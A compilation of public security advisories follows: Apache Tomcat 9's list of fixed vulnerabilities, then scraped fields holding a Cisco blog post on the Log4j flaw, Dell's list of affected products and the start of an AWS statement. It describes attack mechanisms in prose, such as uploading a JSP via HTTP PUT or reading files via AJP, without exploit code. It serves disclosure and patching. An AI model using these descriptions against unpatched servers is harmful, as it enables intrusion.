Prior to this vulnerability report, the known risks of an attacker being able to access the AJP port directly were:

bypassing security checks based on client IP address

bypassing user authentication if Tomcat was configured to trust authentication data provided by the reverse proxy

This vulnerability report identified a mechanism that allowed the following:

returning arbitrary files from anywhere in the web application including under the WEB-INF and META-INF directories or any other location reachable via ServletContext.getResourceAsStream()

processing any file in the web application as a JSP

Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible.

It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31 or later. Users should note that a number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31 or later will need to make small changes to their configurations as a result.

This was fixed with commits 0e8a50f0, 9ac90532, 64fa5b99, 7a1406a3 and 49ad3f95.

This issue was reported to the Apache Tomcat Security Team on 3 January 2020. The issue was made public on 24 February 2020.

Affects: 9.0.0.M1 to 9.0.30

Low: HTTP Request Smuggling CVE-2020-1935

The HTTP header parsing code used an approach to end-of-line (EOL) parsing that allowed some invalid HTTP headers to be parsed as valid. This led to a possibility of HTTP Request Smuggling if Tomcat was located behind a reverse proxy that incorrectly handled the invalid Transfer-Encoding header in a particular manner. Such a reverse proxy is considered unlikely.

This was fixed with commit 8bfb0ff7.

This issue was reported to the Apache Tomcat Security Team by @ZeddYu on 25 December 2019. The issue was made public on 24 February 2020.

Affects: 9.0.0.M1 to 9.0.30

Low: HTTP Request Smuggling CVE-2019-17569

The refactoring in 9.0.28 introduced a regression. The result of the regression was that invalid Transfer-Encoding headers were incorrectly processed leading to a possibility of HTTP Request Smuggling if Tomcat was located behind a reverse proxy that incorrectly handled the invalid Transfer-Encoding header in a particular manner. Such a reverse proxy is considered unlikely.

This was fixed with commit 060ecc5e.

This issue was reported to the Apache Tomcat Security Team by @ZeddYu on 12 December 2019. The issue was made public on 24 February 2020.

Affects: 9.0.28 to 9.0.30

Moderate: Local Privilege Escalation CVE-2019-12418

When Tomcat is configured with the JMX Remote Lifecycle Listener, a local attacker without access to the Tomcat process or configuration files is able to manipulate the RMI registry to perform a man-in-the-middle attack to capture user names and passwords used to access the JMX interface. The attacker can then use these credentials to access the JMX interface and gain complete control over the Tomcat instance.

The JMX Remote Lifecycle Listener will be deprecated in future Tomcat releases, will be removed for Tomcat 10 and may be removed from all Tomcat releases some time after 31 December 2020.

Users should also be aware of CVE-2019-2684, a JRE vulnerability that enables this issue to be exploited remotely.

This was fixed with commit 1fc9f589.

This issue was reported to the Apache Tomcat Security Team by An Trinh of Viettel Cyber Security on 10 October 2019. The issue was made public on 18 December 2019.

Affects: 9.0.0.M1 to 9.0.28

Important: Denial of Service CVE-2019-10072

The fix for CVE-2019-0199 was incomplete and did not address HTTP/2 connection window exhaustion on write. By not sending WINDOW_UPDATE messages for the connection window (stream 0) clients were able to cause server-side threads to block eventually leading to thread exhaustion and a DoS.

This was fixed with commits 7f748eb6 and ada725a5.

This issue was reported to the Apache Tomcat Security Team by John Simpson of Trend Micro Security Research working with Trend Micro's Zero Day Initiative on 26 April 2019. The issue was made public on 20 June 2019.

Affects: 9.0.0.M1 to 9.0.19
Note: The issues below were fixed in Apache Tomcat 9.0.18 but the release vote for the 9.0.18 release candidate did not pass. Therefore, although users must download 9.0.19 to obtain a version that includes a fix for these issues, version 9.0.18 is not included in the list of affected versions.
Important: Remote Code Execution on Windows CVE-2019-0232

When running on Windows with enableCmdLineArguments enabled, the CGI Servlet is vulnerable to Remote Code Execution due to a bug in the way the JRE passes command line arguments to Windows. The CGI Servlet is disabled by default. The CGI option enableCmdLineArguments is disabled by default in Tomcat 9.0.x. For a detailed explanation of the JRE behaviour, see Markus Wulftange's blog and this archived MSDN blog.

This was fixed with commit 4b244d82.

This issue was identified by Nightwatch Cybersecurity Research and reported to the Apache Tomcat security team via the bug bounty program sponsored by the EU FOSSA-2 project on 3rd March 2019. The issue was made public on 10 April 2019.

Affects: 9.0.0.M1 to 9.0.17

Low: XSS in SSI printenv CVE-2019-0221

The SSI printenv command echoes user provided data without escaping and is, therefore, vulnerable to XSS. SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.

This was fixed with commit 15fcd166.

This issue was identified by Nightwatch Cybersecurity Research and reported to the Apache Tomcat security team via the bug bounty program sponsored by the EU FOSSA-2 project on 7th March 2019. The issue was made public on 17 May 2019.

Affects: 9.0.0.M1 to 9.0.17
Note: The issue below was fixed in Apache Tomcat 9.0.15 but the release vote for the 9.0.15 release candidate did not pass. Therefore, although users must download 9.0.16 to obtain a version that includes a fix for these issues, version 9.0.15 is not included in the list of affected versions.
Important: Denial of Service CVE-2019-0199

The HTTP/2 implementation accepted streams with excessive numbers of SETTINGS frames and also permitted clients to keep streams open without reading/writing request/response data. By keeping streams open for requests that utilised the Servlet API's blocking I/O, clients were able to cause server-side threads to block eventually leading to thread exhaustion and a DoS.

This issue was reported to the Apache Tomcat Security Team by Michal Karm Babacek from Red Hat, Inc on 4 January 2019 with additional issues identified by the Tomcat Security Team. The issue was made public on 25 March 2019.

Affects: 9.0.0.M1 to 9.0.14

Moderate: Open Redirect CVE-2018-11784

When the default servlet returned a redirect to a directory (e.g. redirecting to /foo/ when the user requested/foo) a specially crafted URL could be used to cause the redirect to be generated to any URI of the attackers choice.

This was fixed in revision 1840055.

This issue was reported to the Apache Tomcat Security Team by Sergey Bobrov on 28 August 2018 and made public on 3 October 2018.

Affects: 9.0.0.M1 to 9.0.11

Low: CORS filter has insecure defaults CVE-2018-8014

The defaults settings for the CORS filter are insecure and enable supportsCredentials for all origins. It is expected that users of the CORS filter will have configured it appropriately for their environment rather than using it in the default configuration. Therefore, it is expected that most users will not be impacted by this issue.

This was fixed in revision 1831726.

This issue was reported publicly on 1 May 2018 and formally announced as a vulnerability on 16 May 2018.

Important: Security constraint annotations applied too late CVE-2018-1305

Security constraints defined by annotations of Servlets were only applied once a Servlet had been loaded. Because security constraints defined in this way apply to the URL pattern and any URLs below that point, it was possible - depending on the order Servlets were loaded - for some security constraints not to be applied. This could have exposed resources to users who were not authorised to access them.

This was fixed in revisions 1823310 and 1824323.

This issue was identified by the Apache Tomcat Security on 1 February 2018 and made public on 23 February 2018.

Affects: 9.0.0.M1 to 9.0.4

Important: Security constraints mapped to context root are ignored CVE-2018-1304

The URL pattern of "" (the empty string) which exactly maps to the context root was not correctly handled when used as part of a security constraint definition. This caused the constraint to be ignored. It was, therefore, possible for unauthorised users to gain access to web application resources that should have been protected. Only security constraints with a URL pattern of the empty string were affected.

This was fixed in revision 1823306.

This issue was reported publicly as 62067 on 31 January 2018 and the security implications identified by the Apache Tomcat Security Team the same day. It was made public on 23 February 2018.

Affects: 9.0.0.M1 to 9.0.4

Low: Incorrectly documented CGI search algorithm CVE-2017-15706

As part of the fix for bug 61201, the description of the search algorithm used by the CGI Servlet to identify which script to execute was updated. The update was not correct. As a result, some scripts may have failed to execute as expected and other scripts may have been executed unexpectedly. Note that the behaviour of the CGI servlet has remained unchanged in this regard. It is only the documentation of the behaviour that was wrong and has been corrected.

This was fixed in revision 1814825.

This issue was reported to the Apache Tomcat Security Team by Jan Michael Greiner on 17 September 2017 and made public on 31 January 2018.

Affects: 9.0.0.M22 to 9.0.1

Important: Remote Code Execution CVE-2017-12617

When running with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.

This was fixed in revisions 1809669, 1809674, 1809684 and 1809711.

This issue was first reported publicly followed by multiple reports to the Apache Tomcat Security Team on 20 September 2017.

Affects: 9.0.0.M1 to 9.0.0

Important: Security Constraint Bypass CVE-2017-7675

The HTTP/2 implementation bypassed a number of security checks that prevented directory traversal attacks. It was therefore possible to bypass security constraints using an specially crafted URL.

This was fixed in revision 1796090.

The issue was originally reported as a failure to process URL path parameters in bug 61120 on 24 May 2017. The full implications of this issue were identified by the Tomcat Security Team the same day. This issue was made public on 10 August 2017.

Affects: 9.0.0.M1 to 9.0.0.M21

Moderate: Cache Poisoning CVE-2017-7674

The CORS Filter did not add an HTTP Vary header indicating that the response varies depending on Origin. This permitted client and server side cache poisoning in some circumstances.

This was fixed in revision 1795813.

The issue was reported as bug 61101 on 16 May 2017. The full implications of this issue were identified by the Tomcat Security Team the same day. This issue was made public on 10 August 2017.

Affects: 9.0.0.M1 to 9.0.0.M21

Important: Security Constraint Bypass CVE-2017-5664

The error page mechanism of the Java Servlet Specification requires that, when an error occurs and an error page is configured for the error that occurred, the original request and response are forwarded to the error page. This means that the request is presented to the error page with the original HTTP method.

If the error page is a static file, expected behaviour is to serve content of the file as if processing a GET request, regardless of the actual HTTP method. Tomcat's Default Servlet did not do this. Depending on the original request this could lead to unexpected and undesirable results for static error pages including, if the DefaultServlet is configured to permit writes, the replacement or removal of the custom error page.

Notes for other user provided error pages:

Unless explicitly coded otherwise, JSPs ignore the HTTP method. JSPs used as error pages must ensure that they handle any error dispatch as a GET request, regardless of the actual method.

By default, the response generated by a Servlet does depend on the HTTP method. Custom Servlets used as error pages must ensure that they handle any error dispatch as a GET request, regardless of the actual method.

This was fixed in revisions 1793468 and 1793487.

This issue was reported responsibly to the Apache Tomcat Security Team by Aniket Nandkishor Kulkarni from Tata Consultancy Services Ltd, Mumbai, India as a vulnerability that allowed the restrictions on OPTIONS and TRACE requests to be bypassed on 21 April 2017. The full implications of this issue were identified by the Tomcat Security Team on 24 April 2017. This issue was made public on 6 June 2017.

Affects: 9.0.0.M1 to 9.0.0.M20
Note: The issue below was fixed in Apache Tomcat 9.0.0.M16 but the release vote for the 9.0.0.M16 release candidate did not pass. Therefore, although users must download 9.0.0.M17 to obtain a version that includes the fix for this issue, version 9.0.0.M16 is not included in the list of affected versions.
Moderate: Information Disclosure CVE-2016-8747

The refactoring to make wider use of ByteBuffer introduced a regression that could cause information to leak between requests on the same connection. When running behind a reverse proxy, this could result in information leakage between users. All HTTP connector variants are affected but HTTP/2 and AJP are not affected.

This was fixed in revision 1774161.

This issue was identified by the Apache Tomcat Security Team on 14 December 2016 and made public on 13 March 2017.

Affects: 9.0.0.M11 to 9.0.0.M15
Note: The issue below was fixed in Apache Tomcat 9.0.0.M14 but the release vote for the 9.0.0.M14 release candidate did not pass. Therefore, although users must download 9.0.0.M15 to obtain a version that includes the fix for this issue, version 9.0.0.M14 is not included in the list of affected versions.
Important: Information Disclosure CVE-2016-8745

A bug in the error handling of the send file code for the NIO HTTP connector resulted in the current Processor object being added to the Processor cache multiple times. This in turn meant that the same Processor could be used for concurrent requests. Sharing a Processor can result in information leakage between requests including, but not limited to, session ID and the response body.

This was fixed in revision 1771853.

This issue was identified by the Apache Tomcat Security Team on 8 December 2016 and made public on 12 December 2016.

Affects: 9.0.0.M1 to 9.0.0.M13
Note: The issues below were fixed in Apache Tomcat 9.0.0.M12 but the release vote for the 9.0.0.M12 release candidate did not pass. Therefore, although users must download 9.0.0.M13 to obtain a version that includes fixes for these issues, version 9.0.0.M12 is not included in the list of affected versions.
Important: Remote Code Execution CVE-2016-8735

The JmxRemoteLifecycleListener was not updated to take account of Oracle's fix for CVE-2016-3427. Therefore, Tomcat installations using this listener remained vulnerable to a similar remote code execution vulnerability. This issue has been rated as important rather than critical due to the small number of installations using this listener and that it would be highly unusual for the JMX ports to be accessible to an attacker even when the listener is used.

This was fixed in revision 1767644.

This issue was reported to the Apache Tomcat Security Team on 19 October 2016 and made public on 22 November 2016.

Affects: 9.0.0.M1 to 9.0.0.M11

Important: Denial of Service CVE-2016-6817

The HTTP/2 header parser entered an infinite loop if a header was received that was larger than the available buffer. This made a denial of service attack possible.

This was fixed in revision 1765794.

This issue was reported as 60232 on 10 October 2016 and the security implications identified by the Apache Tomcat Security Team on the same day. It was made public on 22 November 2016.

Affects: 9.0.0.M1 to 9.0.0.M11

Important: Information Disclosure CVE-2016-6816

The code that parsed the HTTP request line permitted invalid characters. This could be exploited, in conjunction with a proxy that also permitted the invalid characters but with a different interpretation, to inject data into the HTTP response. By manipulating the HTTP response the attacker could poison a web-cache, perform an XSS attack and/or obtain sensitive information from requests other then their own.

This was fixed in revision 1767641.

This issue was reported to the Apache Tomcat Security Team on 11 October 2016 and made public on 22 November 2016.

Affects: 9.0.0.M1 to 9.0.0.M11
Note: The issue below was fixed in Apache Tomcat 9.0.0.M7 but the release vote for the 9.0.0.M7 release candidate did not pass. Therefore, although users must download 9.0.0.M8 to obtain a version that includes fixes for these issues, version 9.0.0.M7 is not included in the list of affected versions.
Moderate: Denial of Service CVE-2016-3092

Apache Tomcat uses a package renamed copy of Apache Commons FileUpload to implement the file upload requirements of the Servlet specification. A denial of service vulnerability was identified in Commons FileUpload that occurred when the length of the multipart boundary was just below the size of the buffer (4096 bytes) used to read the uploaded file. This caused the file upload process to take several orders of magnitude longer than if the boundary was the typical tens of bytes long.

This was fixed in revision 1743700.

This issue was identified by the TERASOLUNA Framework Development Team and reported to the Apache Commons team via JPCERT on 9 May 2016. It was made public on 21 June 2016.

Affects: 9.0.0.M1 to 9.0.0.M6

Moderate: Security Manager bypass CVE-2016-0763

This issue only affects users running untrusted web applications under a security manager.

ResourceLinkFactory.setGlobalContext() is a public method and was accessible to web applications even when running under a security manager. This allowed a malicious web application to inject a malicious global context that could in turn be used to disrupt other web applications and/or read and write data owned by other web applications.

This was fixed in revision 1725926.

This issue was identified by the Tomcat security team on 18 January 2016 and made public on 22 February 2016.

Affects: 9.0.0.M1 to 9.0.0.M2
Note: The issues below were fixed in Apache Tomcat 9.0.0.M2 but the release vote for the 9.0.0.M2 release candidate did not pass. Therefore, although users must download 9.0.0.M3 to obtain a version that includes fixes for these issues, version 9.0.0.M2 is not included in the list of affected versions.
Low: Directory disclosure CVE-2015-5345

When accessing a directory protected by a security constraint with a URL that did not end in a slash, Tomcat would redirect to the URL with the trailing slash thereby confirming the presence of the directory before processing the security constraint. It was therefore possible for a user to determine if a directory existed or not, even if the user was not permitted to view the directory. The issue also occurred at the root of a web application in which case the presence of the web application was confirmed, even if a user did not have access.

The solution was to implement the redirect in the DefaultServlet so that any security constraints and/or security enforcing Filters were processed before the redirect. The Tomcat team recognised that moving the redirect could cause regressions so two new Context configuration options ( mapperContextRootRedirectEnabled and mapperDirectoryRedirectEnabled) were introduced. The initial default was false for both since this was more secure. However, due to regressions such as Bug 58765 the default for mapperContextRootRedirectEnabled was later changed to true since it was viewed that the regression was more serious than the security risk of associated with being able to determine if a web application was deployed at a given path.

This was fixed in revisions 1715206, 1716882 and 1716894.

This issue was identified by Mark Koek of QCSec on 12 October 2015 and made public on 22 February 2016.

Affects: 9.0.0.M1

Low: Session Fixation CVE-2015-5346

When recycling the Request object to use for a new request, the requestedSessionSSL field was not recycled. This meant that a session ID provided in the next request to be processed using the recycled Request object could be used when it should not have been. This gave the client the ability to control the session ID. In theory, this could have been used as part of a session fixation attack but it would have been hard to achieve as the attacker would not have been able to force the victim to use the 'correct' Request object. It was also necessary for at least one web application to be configured to use the SSL session ID as the HTTP session ID. This is not a common configuration.

This was fixed in revisions 1713184 and 1723414.

This issue was identified by the Tomcat security team on 22 June 2014 and made public on 22 February 2016.

Affects: 9.0.0.M1

Moderate: CSRF token leak CVE-2015-5351

The index page of the Manager and Host Manager applications included a valid CSRF token when issuing a redirect as a result of an unauthenticated request to the root of the web application. If an attacker had access to the Manager or Host Manager applications (typically these applications are only accessible to internal users, not exposed to the Internet), this token could then be used by the attacker to construct a CSRF attack.

This was fixed in revisions 1720652 and 1720655.

This issue was identified by the Tomcat security team on 8 December 2015 and made public on 22 February 2016.

Affects: 9.0.0.M1

Low: Security Manager bypass CVE-2016-0706

This issue only affects users running untrusted web applications under a security manager.

The internal StatusManagerServlet could be loaded by a malicious web application when a security manager was configured. This servlet could then provide the malicious web application with a list of all deployed applications and a list of the HTTP request lines for all requests currently being processed. This could have exposed sensitive information from other web applications, such as session IDs, to the web application.

This was fixed in revision 1722799.

This issue was identified by the Tomcat security team on 27 December 2015 and made public on 22 February 2016.

Affects: 9.0.0.M1

Moderate: Security Manager bypass CVE-2016-0714

This issue only affects users running untrusted web applications under a security manager.

Tomcat provides several session persistence mechanisms. The StandardManager persists session over a restart. The PersistentManager is able to persist sessions to files, a database or a custom Store. The cluster implementation persists sessions to one or more additional nodes in the cluster. All of these mechanisms could be exploited to bypass a security manager. Session persistence is performed by Tomcat code with the permissions assigned to Tomcat internal code. By placing a carefully crafted object into a session, a malicious web application could trigger the execution of arbitrary code.

This was fixed in revisions 1725263 and 1725914.

This issue was identified by the Tomcat security team on 12 November 2015 and made public on 22 February 2016.

Affects: 9.0.0.M1

Critical: Remote Code Execution via log4j CVE-2021-44228

Apache Tomcat 9.0.x has no dependency on any version of log4j.

Web applications deployed on Apache Tomcat may have a dependency on log4j. You should seek support from the application vendor in this instance.

It is possible to configure Apache Tomcat 9.0.x to use log4j 2.x for Tomcat's internal logging. This requires explicit configuration and the addition of the log4j 2.x library. Anyone who has switched Tomcat's internal logging to log4j 2.x is likely to need to address this vulnerability.

In most cases, disabling the problematic feature will be the simplest solution. Exactly how to do that depends on the exact version of log4j 2.x being used. Details are provided on the log4j 2.x security page.

# data[].attributes.attachment_link.description
This page lists all security vulnerabilities fixed in released versions of Apache Tomcat 9.x. Each vulnerability is given a security impact rating by the Apache Tomcat security team - please note that this rating may vary from platform to platform.

# data[].attributes.body
Developer response, all Cisco products have been updated

# data[].attributes.attachment_link.readable_text
Apache has released a new update for Log4j, Please see the Cisco Talos site for updated and evolving coverage on Log4j version 2.16.0. While the previous release (2.15.0) removed the ability to resolve lookups, and addressed issues to mitigate CVE-2021-44228, this release disables JNDI by default and removes support for message lookups.
See Also: What Is Log4j and Why Security Alerts Matter to DevSecOps Teams

As developers, we are all waking up to find a newly discovered zero-day vulnerability (CVE-2021-44228) in the Apache Log4j library. If exploited, the vulnerability allows attackers to gain full control of affected servers and your application. Like many developers, you're probably scrambling to figure out what systems are affected and how to fix or patch this vulnerability. (TALOS Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild)

And to make your job even more difficult, Log4j is so widely used that you may not even realize where in your systems it's being used. Many think that this Log4j vulnerability only impacts your Java code. Unfortunately, this is not true. Log4j is a key component of many commercial and open-source solutions including Apache Solr, Apache Struts2, Apache Fink, Apache Druid, Apache Kafka, Elasticsearch, and many more.

Your challenge now is to contain the threat of exploitation as quickly as possible. There are a few key things you can do as a developer.

First, categorize your actions into three main environments:

Development is easy. Just make sure to locate all usage of Log4j 2.0-beta9 to 2.14.1 and upgrade to 2.16.0 Please refer to the Talos Log4J Threat Advisory for more information.

Your test environment is almost as simple. Just add the extra step of pushing the updated code to a test environment where your usual automated and manual testing can be executed.

Production is where it gets a little trickier. As I'm sure you're already concerned about, these code changes could affect your systems and business. Some aspects to consider:

1. How will any downtime affect your customers and your business? What workarounds can you quickly offer to mitigate this downtime?

2. What is the effect of the fix? Do other systems integrate with this system? Does the affected system have an API that other systems call? Will the patch potentially cause cascading defects? You need adequate time to thoroughly test.

3. What other systems in your organization might have this vulnerability? How can you track those down and test them?

Finding, fixing, and testing all the affected systems could take days. In the meantime, you need to protect yourself now. Luckily there are some readily-available solutions that can help. These solutions help find where the OSS vulnerability exists in your production environment as well as mitigate the risk of the exploitation until the vulnerable library can be upgraded. Options for immediate mitigation differ depending on your environment. One such solution is AppDynamics with Cisco Secure Application, which is integrated into AppDynamics Java APM agents.

Cisco Secure Application protects your production environment by:

1. Identifying what libraries your code is actually using in runtime

2. Detecting the vulnerabilities in those libraries

3. Detecting attacks while monitoring runtime behavior

4. Protecting systems with policy to block runtime exploit behavior

The first, most important action to take is to find out where this vulnerability is introducing risk into your production environment. Cisco Secure Application tracks all library usage and the accompanying vulnerabilities.

This remote code execution vulnerability allows the attacker to run any code in your application, which could result in any number of malicious runtime behaviors. One of the scariest of those is shell command execution that could allow for complete control of not only your application, but the underlying workload.

Cisco Secure Application will detect this shell command execution out of the box. It can also be configured to stop the command from executing as well as send events to your security team for further investigation.

However, this won't remove all the risk, so ensure you have plans to fix this vulnerability as soon as possible. Review the details at Log4j's security disclosure.
Stay connected with Cisco DevNet on social! Visit the new Developer Video Channel
Find more information on how AppDynamics with Cisco Secure Application offers full-stack application security that can help protect you from this and other vulnerabilities.

References

# data[].attributes.attachment_link.title
Log4j is so widely used that you may not even realize where in your systems it's being used.

# data[].attributes.attachment_link.description
Apache has released a new update for Log4j, Please see the Cisco Talos site for updated and evolving coverage on Log4j version 2.16.0 . While the previous release (2.15.0) removed the ability to resolve lookups, and addressed issues to mitigate CVE-2021-44228, this release disables JNDI by default and removes support for message lookups.

# data[].attributes.attachment_link.readable_text
Security Article Type

Security KB

CVE Identifier

CVE-2021-44228

Issue Summary

Apache Publication: Apache Log4j Remote Code Execution

CVE Details: CVE-2021-44228

Details

Dell is reviewing the recently published Apache Log4j Remote Code Execution vulnerability being tracked in CVE-2021-44228 and assessing impact on our products. The security of our products is a top priority and critical to protecting our customers.

Dell continues to provide updates regarding impacted and not impacted products. Customers are encouraged to revisit this article regularly to see the latest product status as it becomes available. For additional questions about Apache Log4j, review the Q&A: Additional Information for Apache Log4j Remote Code Execution Vulnerability.

Vulnerable Products

The following products are confirmed as impacted by the Apache Log4j vulnerability:

Dell EMC OpenManage Enterprise

Dell EMC PowerFlex Software (SDS)

ScaleIO Ready node R630\R730xd

VxFlex Ready Node R640\R740xd\R840

PowerFlex custom node R650\R750\R6525

Dell EMC PowerProtect DP Series Appliance (iDPA)

Patch expected 2022-05-01

Converged Infrastructure (vblock, VxBlock, VxBlock Central, AMPs, Data Protection, Tech Extensions

See vce6819 (requires customer login)

Products Confirmed Not Vulnerable:

The following products are not impacted by the Apache Log4j vulnerability:

Alienware Command Center

Alienware OC Controls

Alienware On Screen Display

Alienware Update

Ansible for Dell EMC Storage

Atmos

Avamar vproxy

CalMAN Powered Calibration Firmware

CalMAN Ready for Dell

Centera

Chassis Management Controller (CMC)

China HDD Deluxe

CloudIQ Collector

Cloud Mobility for Dell EMC Storage

Cloud Tiering Appliance

Common Event Enabler

Connectrix (Cisco MDS 9000 switches)

Connectrix B Series

CyberSense for PowerProtect Cyber Recovery

Dell BSAFE Crypto-C Micro Edition

Dell BSAFE Crypto-J

Dell BSAFE Micro Edition Suite

Dell Calibration Assistant

Dell Cinema Color

Dell Client Platforms (Latitude, OptiPlex, Alienware, Inspiron, Precision, XPS, Vostro, ChengMing) BIOS

Dell Cloud Command Repository Manager

Dell Cloud Management Agent

Dell Color Management

Dell Command Configure

Dell Command Integration Suite for System Center

Dell Command Dell Command | Intel vPro Out of Band

Dell Command Monitor

Dell Command Power Manager

Dell Command PowerShell Provider

Dell Command Update

Dell Customer Connect

Dell Data Guardian*

Dell Data Protection*

Dell Data Recovery Environment

Dell Data Vault

Dell Data Vault for Chrome OS

Dell Deployment Agent

Dell Digital Delivery

Dell Direct USB Key

Dell Display Manager 1.5 for Windows or MacOS

Dell Display Manager 2.0 for Windows or MacOS

Dell EMC AppSync

Dell EMC CloudBoost

Dell EMC CloudLink

Dell EMC Container Storage Modules

Dell EMC Data Computing Appliance (DCA)

Dell EMC DataIQ

Dell EMC Disk Library for mainframe

Dell EMC GeoDrive

Dell EMC Isilon InsightIQ

Dell EMC License Manager

Dell EMC Networking Onie

Dell EMC Networking Virtual Edge Platform with VersaOS

Dell EMC OpenManage Ansible Modules

Dell EMC OpenManage integration for Splunk

Dell EMC OpenManage Integration for VMware vCenter

Dell EMC OpenManage Management Pack for vRealize Operations

Dell EMC OpenManage Operations Connector for Micro Focus Operations Bridge Manager

Dell EMC PowerMax, VMAX, VMAX3, and VMAX AFA

Dell EMC PowerPath

Dell EMC PowerPath Management Appliance

Dell EMC PowerProtect Cyber Recovery

Dell EMC PowerScale OneFS

Dell EMC PowerShell for PowerMax

Dell EMC PowerShell for PowerStore

Dell EMC PowerShell for Unity

Dell EMC PowerSwitch Z9264F-ON BMC, Dell EMC PowerSwitch Z9432F-ON BMC

Dell EMC PowerVault ME4 Series Storage Arrays

PowerVault MDSM

PowerVault ML3

PowerVault ML3e

PowerVault TL1000

PowerVault TL2k/4K

PowerVault ML6K

PowerVault LTO

PowerVault MD3

PowerVault MD14(xx)

PowerVault NX440

PowerVault NX3240

PowerVault NX3340

Dell EMC Repository Manager (DRM)

Dell EMC SourceOne

Dell EMC Systems Update (DSU)

Dell EMC Unisphere 360

Dell EMC Virtual Storage Integrator

Dell EMC VPLEX

Dell EMC XtremIO

Dell Encryption Enterprise*

Dell Encryption Personal*

Dell Endpoint Security Suite Enterprise

Dell Hybrid Client

Dell ImageAssist

Dell Insights Client

Dell Linux Assistant

Dell Memory Solutions

Dell Mobile Connect

Dell Monitor ISP (Windows, Mac, or Linux)

Dell Monitor SDK

Dell Networking X-Series

Dell OpenManage Mobile

Dell OpenManage Server Administrator

Dell OpenManage Change Management

Dell OpenManage Enterprise Power Manager Plugin

Dell OpenManage Enterprise CloudIQ plugin

Dell Optimizer

Dell OS Recovery Tool

Dell Peripheral Manager 1.4 / 1.5 for Windows

Dell Platform Service

Dell Power Manager

Dell Power Manager Lite

Dell Precision Optimizer

Dell Precision Optimizer for Linux

Dell Premier Color

Dell Recovery (Linux)

Dell Remediation Platform

Dell Remote Execution Engine (DRONE)

Dell Security Advisory Update - DSA-2021-088

Dell Security Management Server and Dell Security Management Server Virtual*

Dell SupportAssist SOS

Dell Thin OS

Dell Threat Defense

Dell True Color

Dell Trusted Device

Dell Update

Dream Catcher

DUP Creation Service

DUP Framework (ISG)

Embedded NAS

Embedded Service Enabler

EqualLogic PS & PS Apps

Fluid FS

iDRAC Service Module (iSM)

Integrated Dell Remote Access Controller (iDRAC)

ISG Drive and Storage Media

IsilonSD Management Server

Mainframe Enablers

MDS

My Dell

MyDell Mobile

NetWorker Management Console

Networking BIOS

Networking N-Series

Networking OS 10

Networking OS 9

Networking SD-WAN Edge SD-WAN

Networking W-Series

Networking X-Series

OpenManage Integration for Microsoft System Center (OMIMSSC)

OMNIA

OpenManage Connections - Nagios

OpenManage Connections - ServiceNow

OpenManage Essentials

OpenManage Integration for Microsoft System Center for System Center Operations Manager

OpenManage Integration with Microsoft Windows Admin Center

OpenManage Network Integration

OpenManage Power Center

PowerConnect N3200

PowerConnect PC2800

PowerConnect PC8100

PowerEdge Accelerator Solutions

PowerEdge BIOS

PowerEdge Networking Solutions

PowerEdge Operating Systems

PowerEdge RAID Controller Solutions

PowerTools Agent

PPDM Kubernetes cProxy

PPDM VMware vProxy

Remotely Anywhere

Rugged Control Center (RCC)

SD ROM Utility

SDNAS

Smart Fabric Storage Software

SmartByte

SMI-S

Software RAID

Solutions Enabler

Solutions Enabler vApp

Sonic

Secure Remote Services VE

Storage Center OS and additional SC applications unless otherwise noted

SupportAssist Client Commercial

SupportAssist Client Consumer

UCC Edge

Unisphere for PowerMax

Unisphere for PowerMax vApp

Unisphere for VMAX

Unisphere for VNX

Update Manager Plugin

ViPR Controller

VNX Control Station

VNX1

VNX2

VPLEX VS2, VS6, or VPLEX Witness

vSan Ready Nodes

Wyse Proprietary OS (ThinOS)

Wyse Windows Embedded Suite

* See https://www.dell.com/support/kbdoc/000194496 for more information

Any security updates or mitigations will be communicated at https://www.dell.com/support/security when they become available. You can subscribe to our Security Alerts to be notified when these Security Advisories are posted by following the guidance here, or by following the directions in the Security Alerts section on the Security Advisories and Notices page.

Recommendations

The information should be read and used to assist in avoiding situations that may arise from the problems described herein. Dell Technologies distributes Security Advisories, Security Notices and Informational articles to bring important security information to the attention of users of the affected product(s). Dell Technologies assesses the risk based on an average of risks across a diverse set of installed systems and may not represent the actual risk to your local installation and individual environment. It is recommended that all users determine the applicability of this information to their individual environments and take appropriate actions. The information set forth herein is provided "as is" without warranty of any kind. Dell Technologies expressly disclaims all warranties, either express or implied, including the warranties of merchantability, fitness for a particular purpose, title and non-infringement. In no event shall Dell Technologies, its affiliates or suppliers, be liable for any damages whatsoever arising from or related to the information contained herein or actions that you decide to take based thereon, including any direct, indirect, incidental, consequential, loss of business profits or special damages, even if Dell Technologies, its affiliates or suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages, so the foregoing limitation shall apply to the extent permissible under law.

Product Security Information

28 Mar 2022

124

Security KB

# data[].attributes.attachment_link.title
Dell Response to Apache Log4j Remote Code Execution Vulnerability (CVE-2021-44228) | Dell UK

# data[].attributes.attachment_link.description
On December 10, 2021, a critical remote code vulnerability was published concerning the Apache Log4j library. Dell is in the process of assessing potential impact to its products.

# data[].attributes.body
Version 6 was the latest update implemented to deal with CVE-2021-44288

# data[].attributes.attachment_link.readable_text
AWS is aware of the recently disclosed issues relating to the open-source Apache "Log4j2" utility (CVE-2021-44228 and CVE-2021-45046).

Responding to security issues such as this one shows the value of having multiple layers of defensive technologies, which is so important to maintaining the security of our customers' data and workloads. We're taking this issue very seriously, and our world-class team of engineers has been working around the clock on our response and remediation. We expect to rapidly restore our full state of defense in depth.

One of the technologies we've developed and deployed extensively inside AWS is a hot patch for applications that may include Log4j. This hot patch updates the Java VM to disable the loading of the Java Naming and Directory Interface (JNDI) class, replacing it with a harmless notification message, which is an effective mitigation of CVE-2021-44228 and CVE-2021-45046.

We've also made this available as an open-source solution, which is available here.

Even with this hot patch deployed, customers should still deploy an updated Log4j library as quickly as they safely can.

For more details on how to detect and remediate the Log4j CVEs using AWS services, please read our most recent blog post here.

Additional service-specific information is provided below. If you need additional details or assistance, please contact AWS Support.

Amazon EKS, Amazon ECS, and AWS Fargate

